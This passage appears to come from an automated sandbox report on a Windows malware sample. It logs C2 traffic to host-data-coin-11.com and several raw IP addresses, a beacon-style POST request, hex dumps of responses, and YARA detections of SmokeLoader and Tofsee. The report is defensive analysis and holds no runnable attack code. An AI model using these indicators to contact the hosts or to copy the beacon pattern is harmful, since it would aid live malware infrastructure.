Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c7 d7 10 56 3d 42 a6 fe c2 aa b9 01 ac 52 cc 77 f8 55 4d 84 4b f4 f1 2c 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OV=BRwUMK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d7 8c 08 04 64 1f 0d 0a 30 0d 0a 0d 0a Data Ascii: 19I:82Od0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f cf 86 52 15 62 10 e5 e8 83 a0 ad 0d 0a 30 0d 0a 0d 0a Data Ascii: 1eI:82ORb0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f cf 86 52 15 62 10 e5 e8 83 a0 ad 0d 0a 30 0d 0a 0d 0a Data Ascii: 1eI:82ORb0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c e5 ae 8e 70 bc 57 dd 43 d4 f8 21 86 24 e8 c3 96 57 2e e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWC!$W.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:34:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mnxwgte.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.11:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.15:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.11:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.203.237:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.11:443 -> 192.168.2.5:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.203.237:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.190.72:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.248.232.78:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.248.232.78:443 -> 192.168.2.5:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.14.219:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.91.13.105:443 -> 192.168.2.5:49895 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.2.nkINykHreE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.haifbcd.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.nkINykHreE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.haifbcd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nkINykHreE.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.115B.exe.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.115B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.haifbcd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.115B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.282842442.0000000003A61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.370053936.0000000000751000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.352429754.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.297306514.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.444174815.0000000000951000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.352266837.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.297326406.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.370019662.0000000000620000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.442728079.0000000000630000.00000004.00000001.sdmp, type: MEMORY

Source: 115B.exe, 0000000E.00000002.341864344.00000000006BA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 18.2.18D.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.2bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.600000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.600000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.18D.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sdiimdop.exe.570000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.18D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.18D.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.2bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.395236716.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.550647204.0000000002BB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.396983806.0000000000600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.369452134.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 18D.exe PID: 4992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sdiimdop.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5180, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 4BED.exe.3.dr	Static PE information: section name:
Source: 4BED.exe.3.dr	Static PE information: section name:
Source: 4BED.exe.3.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00436950	0_2_00436950
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00435B70	0_2_00435B70
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_005431FF	0_2_005431FF
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00543253	0_2_00543253
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_00402B2E	1_1_00402B2E
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 13_2_00473253	13_2_00473253
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 13_2_004731FF	13_2_004731FF
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_00473253	14_2_00473253
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_004731FF	14_2_004731FF
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_006C1004	14_2_006C1004
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00402A5F	15_2_00402A5F
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00402AB3	15_2_00402AB3
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_00402A5F	15_1_00402A5F
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_00402AB3	15_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 16_2_00402A5F	16_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 16_2_00402AB3	16_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 16_1_00402A5F	16_1_00402A5F
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 16_1_00402AB3	16_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_004027CA	17_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00401FF1	17_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_0040158E	17_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_004015A6	17_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_004015BC	17_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00436340	17_2_00436340
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00435560	17_2_00435560
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_0040C913	18_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00435940	18_2_00435940
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00436720	18_2_00436720
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_030395F0	19_2_030395F0
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_03030464	19_2_03030464
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_03030470	19_2_03030470
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_030BDC78	19_2_030BDC78
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_030B8C08	19_2_030B8C08
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_030B8C18	19_2_030B8C18
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_030B847B	19_2_030B847B
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_05681410	19_2_05681410
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_05684FF8	19_2_05684FF8
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_05680040	19_2_05680040
